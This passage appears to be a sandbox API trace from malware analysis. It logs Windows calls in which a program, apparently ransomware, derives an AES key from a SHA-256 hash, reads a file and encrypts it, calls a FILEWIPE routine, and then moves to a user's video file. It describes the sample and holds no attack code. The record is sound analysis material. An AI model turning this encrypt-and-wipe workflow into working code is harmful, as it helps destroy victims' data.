wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0029.964] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.964] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0029.964] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.964] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0029.964] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0029.965] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0029.965] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.965] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0029.965] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0029.965] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.965] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.965] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0029.965] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0029.965] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0029.965] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.966] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0029.966] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0xe8f417b100, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptReleaseContext", lpUsedDefaultChar=0x0) returned 20 [0029.966] GetProcAddress (hModule=0x7ffe2a590000, lpProcName="CryptReleaseContext") returned 0x7ffe2a59e83c [0029.966] CryptReleaseContext (hProv=0xe8f4199650, dwFlags=0x0) returned 1 [0029.966] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.966] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.966] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0029.967] FreeLibrary (hLibModule=0x7ffe2a590000) returned 1 [0029.967] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.967] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.967] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.967] CloseHandle (hObject=0x1fc) returned 1 [0029.967] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.967] CloseHandle (hObject=0x188) returned 1 [0029.969] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.971] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.971] CharUpperBuffW (in: lpsz="FILEWIPE", cchLength=0x8 | out: lpsz="FILEWIPE") returned 0x8 [0029.971] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.971] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.971] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.971] CharLowerBuffW (in: lpsz="byte[101867]", cchLength=0xc | out: lpsz="byte[101867]") returned 0xc [0029.972] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.972] CharUpperBuffW (in: lpsz="MEMSET", cchLength=0x6 | out: lpsz="MEMSET") returned 0x6 [0029.972] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.972] CharLowerBuffW (in: lpsz="ptr:cdecl", cchLength=0x9 | out: lpsz="ptr:cdecl") returned 0x9 [0029.972] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.972] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.972] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.972] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILE", cchLength=0x12 | out: lpsz="_WINAPI_CREATEFILE") returned 0x12 [0029.972] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.972] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.973] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.973] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.973] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.973] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.973] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.973] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.973] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.973] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.973] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.973] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.973] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.973] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.973] CharLowerBuffW (in: lpsz="handle", cchLength=0x6 | out: lpsz="handle") returned 0x6 [0029.973] CharUpperBuffW (in: lpsz="_WINAPI_WRITEFILE", cchLength=0x11 | out: lpsz="_WINAPI_WRITEFILE") returned 0x11 [0029.973] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.973] CharUpperBuffW (in: lpsz="_WINAPI_CLOSEHANDLE", cchLength=0x13 | out: lpsz="_WINAPI_CLOSEHANDLE") returned 0x13 [0029.973] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.974] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0029.974] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0029.975] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff0c0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff0c0*=12352) returned 1 [0029.975] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0029.975] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=0) returned 1 [0029.975] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff060, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff060*=0) returned 1 [0029.975] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x3040, lpOverlapped=0x0) returned 1 [0029.975] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x0, lpOverlapped=0x0) returned 1 [0029.975] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x3040, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0029.975] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=12352) returned 1 [0029.975] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0029.975] CharLowerBuffW (in: lpsz="hwnd", cchLength=0x4 | out: lpsz="hwnd") returned 0x4 [0029.975] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0029.975] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0029.975] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0029.975] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0029.975] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0029.975] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0029.976] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0029.976] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0029.976] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.976] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.976] CryptAcquireContextA (in: phProv=0xe8f3dfe270, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0xe8f3dfe270*=0xe8f41997a0) returned 1 [0029.976] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0029.976] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0029.976] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0029.976] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0029.976] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0029.976] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0029.976] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.976] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0029.976] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.976] CryptCreateHash (in: hProv=0xe8f41997a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xe8f3dfdf40 | out: phHash=0xe8f3dfdf40) returned 1 [0029.976] CharLowerBuffW (in: lpsz="byte[32]", cchLength=0x8 | out: lpsz="byte[32]") returned 0x8 [0029.976] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.976] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.976] CryptHashData (hHash=0xe8f4062640, pbData=0xe8f418b660, dwDataLen=0x20, dwFlags=0x1) returned 1 [0029.976] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.977] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0029.977] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.977] CryptDeriveKey (in: hProv=0xe8f41997a0, Algid=0x660e, hBaseData=0xe8f4062640, dwFlags=0x1, phKey=0xe8f3dfdf40 | out: phKey=0xe8f3dfdf40*=0xe8f40624f0) returned 1 [0029.977] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.977] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.977] CryptDestroyHash (hHash=0xe8f4062640) returned 1 [0029.977] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0029.977] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe930, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe930*=0) returned 1 [0029.978] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe9e0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe9e0*=0) returned 1 [0029.978] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x10000, lpOverlapped=0x0) returned 1 [0029.979] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x8568, lpOverlapped=0x0) returned 1 [0029.980] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x0, lpOverlapped=0x0) returned 1 [0029.982] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0029.983] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0029.983] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0029.983] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.983] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.983] CryptGetKeyParam (in: hKey=0xe8f40624f0, dwParam=0x7, pbData=0xe8f4064cb0, pdwDataLen=0xe8f3dfd858, dwFlags=0x0 | out: pbData=0xe8f4064cb0*=0x660e, pdwDataLen=0xe8f3dfd858*=0x4) returned 1 [0029.983] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0029.983] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0029.983] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0029.983] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.983] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.984] CryptEncrypt (in: hKey=0xe8f40624f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x18568, dwBufLen=0x0 | out: pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x18570) returned 1 [0029.984] CharLowerBuffW (in: lpsz="byte[99697]", cchLength=0xb | out: lpsz="byte[99697]") returned 0xb [0029.985] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.985] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.985] CryptEncrypt (in: hKey=0xe8f40624f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe8f6000080*, pdwDataLen=0xe8f3dfdf68*=0x18568, dwBufLen=0x18570 | out: pbData=0xe8f6000080*, pdwDataLen=0xe8f3dfdf68*=0x18570) returned 1 [0029.985] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0029.985] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0029.985] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0029.993] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0029.993] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.993] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.993] CryptDestroyKey (hKey=0xe8f40624f0) returned 1 [0029.993] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0029.993] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0029.993] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0029.993] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0029.993] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0029.993] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0029.993] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.993] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0029.993] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.993] CryptReleaseContext (hProv=0xe8f41997a0, dwFlags=0x0) returned 1 [0029.993] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.993] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.994] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0029.994] FreeLibrary (hLibModule=0x7ffe2a590000) returned 1 [0029.994] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.994] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.994] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.994] CloseHandle (hObject=0x188) returned 1 [0029.996] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.996] CloseHandle (hObject=0x1fc) returned 1 [0029.997] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0030.000] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0030.000] CharUpperBuffW (in: lpsz="FILEWIPE", cchLength=0x8 | out: lpsz="FILEWIPE") returned 0x8 [0030.001] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0030.001] GetFileAttributesW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Videos\\oY5JzvOHdERZ\\WbfUt1_7AGGQ_cJpAawe\\hMjb.avi" (normalized: "c:\\users\\5jghkoaofdp\\videos\\oy5jzvohderz\\wbfut1_7aggq_cjpaawe\\hmjb.avi")) returned 0x20 [0030.001] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0030.001] FindFirstFileW (in: lpFileName="C:\\Users\\5JgHKoaOfdp\\Videos\\oY5JzvOHdERZ\\WbfUt1_7AGGQ_cJpAawe\\hMjb.avi", lpFindFileData=0xe8f3dfe860 | out: lpFindFileData=0xe8f3dfe860) returned 0xe8f4069bf0 [0030.001] FindClose (in: hFindFile=0xe8f4069bf0 | out: hFindFile=0xe8f4069bf0) returned 1 [0030.001] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0030.001] CharLowerBuffW (in: lpsz="byte[99688]", cchLength=0xb | out: lpsz="byte[99688]") returned 0xb [0030.003] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0030.003] CharUpperBuffW (in: lpsz="MEMSET", cchLength=0x6 | out: lpsz="MEMSET") returned 0x6 [0030.003] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0030.003] 